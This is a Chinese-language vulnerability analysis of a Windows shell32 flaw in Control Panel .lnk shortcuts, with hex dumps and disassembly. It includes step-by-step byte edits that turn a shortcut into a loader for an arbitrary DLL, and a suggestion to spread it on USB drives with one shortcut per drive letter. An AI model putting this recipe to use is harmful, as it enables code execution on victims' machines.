前言
windows的shell32在處理控制面板程序的快捷方式文件時,存在一個漏洞,可以加載硬盤上的任意DLL文件,即可執行任意代碼。
漏洞文件的生成
到“控制面板”下面,右鍵點“顯示”,點“創建快捷方式”,把快捷方式創建在桌面上。然後在桌面用WinHex打開“顯示.lnk”文件。
Offset 0 1 2 3 4 5 6 7 8 9 A B C D E F
00000000 4C 00 00 00 01 14 02 00 00 00 00 00 C0 00 00 00 L...........?..
00000010 00 00 00 46 81 00 00 00 00 00 00 00 00 00 00 00 ...F?..........
00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 ................
00000040 00 00 00 00 00 00 00 00 00 00 00 00 CC 00 14 00 ............?..
00000050 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+0
00000060 30 9D 14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD 0?... ??i.⑤
00000070 08 00 2B 30 30 9D A2 00 00 00 9C FF FF FF 00 00 ..+00潰...? ..
00000080 00 00 00 6A 00 00 00 00 00 00 1D 00 20 00 44 00 ...j........ .D.
00000090 3A 00 5C 00 57 00 49 00 4E 00 44 00 4F 00 57 00 :.\.W.I.N.D.O.W.
000000A0 53 00 5C 00 73 00 79 00 73 00 74 00 65 00 6D 00 S.\.s.y.s.t.e.m.
000000B0 33 00 32 00 5C 00 64 00 65 00 73 00 6B 00 2E 00 3.2.\.d.e.s.k...
000000C0 63 00 70 00 6C 00 00 00 3E 66 3A 79 00 00 F4 66 c.p.l...>f:y..鬴
000000D0 39 65 A8 60 84 76 4C 68 62 97 84 76 16 59 C2 89 9e╜剉Lhb梽v.Y
000000E0 0C FF 8B 4F 82 59 CC 80 6F 66 01 30 4F 5C 55 5E . O俌虁of.0O\U^
000000F0 DD 4F A4 62 0B 7A 8F 5E 01 30 9C 98 72 82 01 30 軴 .z廭.0湗r?0
00000100 57 5B 53 4F 27 59 0F 5C 8C 54 4F 5C 55 5E 06 52 W[SO'Y.\孴O\U^.R
00000110 A8 8F 87 73 02 30 00 00 00 00 00 00 00 00 ◤噑.0........
把偏移7A處的9C FF FF FF改成00 00 00 00,把後面的文件名D:\WINDOWS\system32\desk.cpl改成C:\dll.dll(UNICODE格式)。保存文件。把這個文件複製到任意目錄下,當用戶瀏覽該目錄時,就會加載C:\dll.dll文件。
Lnk文件格式的相關地方
Lnk的目標文件存放在Shell Item Id List的SHITEMID結構裏面,這個結構是按照層來表示一個目標的。上面那個lnk文件裏面,第一層是
14 00 ............?..
00000050 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 .P郞??i.⒇..+0
00000060 30 9D
14 00代表長度,後面的16字節是“我的電腦”的GUID {20D04FE0-3AEA-1069-A2D8-08002B30309D},註冊表裏可以搜到。第二層是
14 00 2E 00 20 20 EC 21 EA 3A 69 10 A2 DD 0?... ??i.⑤
00000070 08 00 2B 30 30 9D
這個是“控制面板”的GUID {21EC2020-3AEA-1069-A2DD-08002B30309D}。
第三層就是後面長度爲0xA2的目標文件。這裏面偏移0x7A處的9C FF FF FF是用來指明快捷方式圖標的index。貌似是這樣的。
所以這個Shell Item Id List所指向的文件就是:我的電腦->控制面板->D:\WINDOWS\system32\desk.cpl。
對於普通文件的快捷方式,好像是:我的電腦->盤符->目錄1->目錄2…->文件名。
漏洞產生的地方
shell32在處理lnk文件的時候要把它的圖標顯示出來,對於一般文件應該是從Icon filename string裏面解析,但對於文件後面沒有Icon filename string結構的控制面板快捷方式,是直接從0x7A那裏的iconindex來解析。當這個iconindex是0的時候,會去加載cpl文件,調用CPlApplet接口,這樣就存在執行DLL中代碼的問題。
7D716064 53 push ebx
7D716065 FF75 10 push dword ptr [ebp+10]
7D716068 8D5E 0C lea ebx, dword ptr [esi+C]
7D71606B 53 push ebx
7D71606C FF75 0C push dword ptr [ebp+C] ;C:\dll.dll,0,<-這個0就是從偏移7A那裏得到的iconindex
7D71606F FF15 0015597D call dword ptr [<&KERNEL32.lstrcpynW>>; kernel32.lstrcpynW
7D716075 6A 2C push 2C
7D716077 FF75 0C push dword ptr [ebp+C]
7D71607A FF15 F41B597D call dword ptr [<&SHLWAPI.StrChrW>] ; shlwapi.StrChrW
7D716080 85C0 test eax, eax
7D716082 74 5D je short 7D7160E1
7D716084 66:8320 00 and word ptr [eax], 0
7D716088 83C0 02 add eax, 2
7D71608B 50 push eax
7D71608C FF15 641C597D call dword ptr [<&SHLWAPI.StrToIntW>] ; shlwapi.StrToIntW
7D716092 8B7D 14 mov edi, dword ptr [ebp+14]
7D716095 8907 mov dword ptr [edi], eax
7D716097 8B45 18 mov eax, dword ptr [ebp+18]
7D71609A C700 02000000 mov dword ptr [eax], 2
7D7160A0 8B0F mov ecx, dword ptr [edi]
7D7160A2 33D2 xor edx, edx
7D7160A4 3BCA cmp ecx, edx ;偏移0x7A必須得是0,纔會LoadLibary
7D7160A6 75 33 jnz short 7D7160DB
7D7160A8 C700 1A000000 mov dword ptr [eax], 1A
7D7160AE 8D86 14020000 lea eax, dword ptr [esi+214]
7D7160B4 3910 cmp dword ptr [eax], edx
7D7160B6 8955 0C mov dword ptr [ebp+C], edx
7D7160B9 75 16 jnz short 7D7160D1
7D7160BB 8D4D 0C lea ecx, dword ptr [ebp+C]
7D7160BE 51 push ecx
7D7160BF 8D8E 18020000 lea ecx, dword ptr [esi+218]
7D7160C5 51 push ecx
7D7160C6 50 push eax
7D7160C7 53 push ebx
7D7160C8 E8 48C4F2FF call 7D642515 ;這裏調用後面
後面
7D63866D FF15 6415597D call dword ptr [<&KERNEL32.GetCurrent>; kernel32.GetCurrentProcessId
7D638673 50 push eax
7D638674 56 push esi
7D638675 68 00001000 push 100000 ; UNICODE "f1df_6.0.2600.5512_x-ww_35d4ce83\"
7D63867A 8985 E4FDFFFF mov dword ptr [ebp-21C], eax
7D638680 FF15 6815597D call dword ptr [<&KERNEL32.OpenProces>; kernel32.OpenProcess
7D638686 3BC6 cmp eax, esi
7D638688 8985 E8FDFFFF mov dword ptr [ebp-218], eax
7D63868E 0F84 E5000000 je 7D638779
7D638694 8D85 F4FDFFFF lea eax, dword ptr [ebp-20C]
7D63869A 50 push eax
7D63869B FF15 A41C597D call dword ptr [<&SHLWAPI.PathFileExi>; shlwapi.PathFileExistsW
7D6386A1 85C0 test eax, eax
7D6386A3 C785 BCFDFFFF 2>mov dword ptr [ebp-244], 20
7D6386AD 74 14 je short 7D6386C3
7D6386AF 8D85 F4FDFFFF lea eax, dword ptr [ebp-20C]
7D6386B5 89B5 C0FDFFFF mov dword ptr [ebp-240], esi
7D6386BB 8985 C4FDFFFF mov dword ptr [ebp-23C], eax
7D6386C1 EB 1A jmp short 7D6386DD
7D6386C3 C785 C0FDFFFF 0>mov dword ptr [ebp-240], 8
7D6386CD 899D C4FDFFFF mov dword ptr [ebp-23C], ebx
7D6386D3 C785 D0FDFFFF 7>mov dword ptr [ebp-230], 7B
7D6386DD 8D85 BCFDFFFF lea eax, dword ptr [ebp-244]
7D6386E3 50 push eax
7D6386E4 FF15 6C15597D call dword ptr [<&KERNEL32.CreateActC>; kernel32.CreateActCtxW
7D6386EA 83F8 FF cmp eax, -1
7D6386ED 8985 F0FDFFFF mov dword ptr [ebp-210], eax
7D6386F3 75 06 jnz short 7D6386FB
7D6386F5 89B5 F0FDFFFF mov dword ptr [ebp-210], esi
7D6386FB 8B3D 8C15597D mov edi, dword ptr [<&KERNEL32.Activ>; kernel32.ActivateActCtx
7D638701 8D85 ECFDFFFF lea eax, dword ptr [ebp-214]
7D638707 50 push eax
7D638708 FFB5 F0FDFFFF push dword ptr [ebp-210]
7D63870E FFD7 call edi
7D638710 33F6 xor esi, esi
7D638712 46 inc esi
7D638713 56 push esi
7D638714 56 push esi
7D638715 56 push esi
7D638716 53 push ebx
7D638717 FF15 00F0787D call dword ptr [7D78F000] ; apphelp.ApphelpCheckExe
7D63871D 85C0 test eax, eax
7D63871F 75 08 jnz short 7D638729
7D638721 2185 E0FDFFFF and dword ptr [ebp-220], eax
7D638727 EB 0D jmp short 7D638736
7D638729 53 push ebx ;加載DLL
7D63872A FF15 A015597D call dword ptr [<&KERNEL32.LoadLibrar>; kernel32.LoadLibraryW
7D638730 8985 E0FDFFFF mov dword ptr [ebp-220], eax ; dll.01C00000
利用
據說病毒樣本是通過這個漏洞利用U盤來傳播的,不過我發現加載DLL必須是絕對路徑,用相對路徑是不行的,那病毒就必須要知道U盤的盤符才能加載U盤上的DLL。不知道這個問題是怎麼解決的呢?我沒有仔細研究lnk文件格式,不知道是不是可以放多個目標地址。我能想到的就只有一個很笨的辦法,感染的時候在U盤上創建20多個.lnk文件,一個盤符對應一個,這樣總能覆蓋到U盤所在盤符。另外利用共享目錄來傳播也存在同樣問題。
其實我覺得這個也不算是一個真正意義上的漏洞,因爲既然要解析出圖標,加載對應的DLL文件也是說得過去的,湊巧被病毒利用上了而已。